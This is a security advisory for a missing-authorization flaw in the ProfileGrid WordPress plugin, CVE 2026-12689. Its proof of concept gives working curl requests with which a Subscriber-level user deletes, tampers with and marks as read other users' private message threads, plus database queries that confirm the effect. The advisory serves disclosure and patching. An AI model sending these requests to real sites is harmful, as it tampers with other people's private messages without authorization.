ProfileGrid < 5.9.9.7 – Subscriber+ Cross-User Private Message Thread Deletion and Tampering via Missing Authorization | CVE 2026-12689

Description

The plugin does not perform any authorization or ownership check on some of its private-message thread actions, allowing authenticated users with Subscriber-level access and above to soft-delete, tamper with the metadata of, and mark as read other users' private message threads.

Proof of Concept

Affected: ProfileGrid <= 5.9.9.5. Requires any authenticated user (Subscriber and above). The private messenger feature is enabled by default.

Prerequisites: a private message thread exists between two other users (the victims), with at least one unread message. In this PoC that thread has ID 1 (between user 5 and user 4) and the attacker is the Subscriber "subscriber" (user 3), who is NOT a participant.

Step 1 - Log in as a plain Subscriber (a non-participant of the target thread):
curl -k -c cj.txt "https://TARGET/wp-login.php" -o /dev/null
curl -k -c cj.txt -b cj.txt \
  --data-urlencode "log=subscriber" --data-urlencode "pwd=password" \
  --data-urlencode "wp-submit=Log In" --data-urlencode "redirect_to=https://TARGET/wp-admin/" \
  "https://TARGET/wp-login.php" -o /dev/null

Step 2 - Vector 1: soft-delete + tamper the victims' thread (no nonce, no ownership check).
# tid is the victim thread; mid and uid are attacker-chosen values written into the thread metadata.
curl -k -b cj.txt "https://TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=pm_messenger_delete_threads" \
  --data-urlencode "tid=1" --data-urlencode "mid=31337" --data-urlencode "uid=3"
# -> response: true

Step 3 - Vector 2: force-mark the victims' unread message as read (no nonce):
curl -k -b cj.txt "https://TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=pm_messages_mark_as_read" --data-urlencode "tid=1"

Verify the cross-user effect on the victims' thread:
wp db query "SELECT t_id,status,thread_desc FROM wp_promag_msg_threads WHERE t_id=1;"
# status flipped 0 -> 1 (soft-deleted/hidden); thread_desc now contains the attacker's
#   uid=3 and mid=31337: a:1:{i:3;a:1:{s:10:"delete_mid";s:5:"31337";}}
wp db query "SELECT status FROM wp_promag_msg_conversation WHERE t_id=1;"
# the victims' genuine unread message has been force-marked read (status 2 -> 1)

Honest-negative: message bodies are NOT readable through this surface. The content-read paths are
separately gated, so this confirms the impact is integrity/availability tampering, not disclosure (C:N).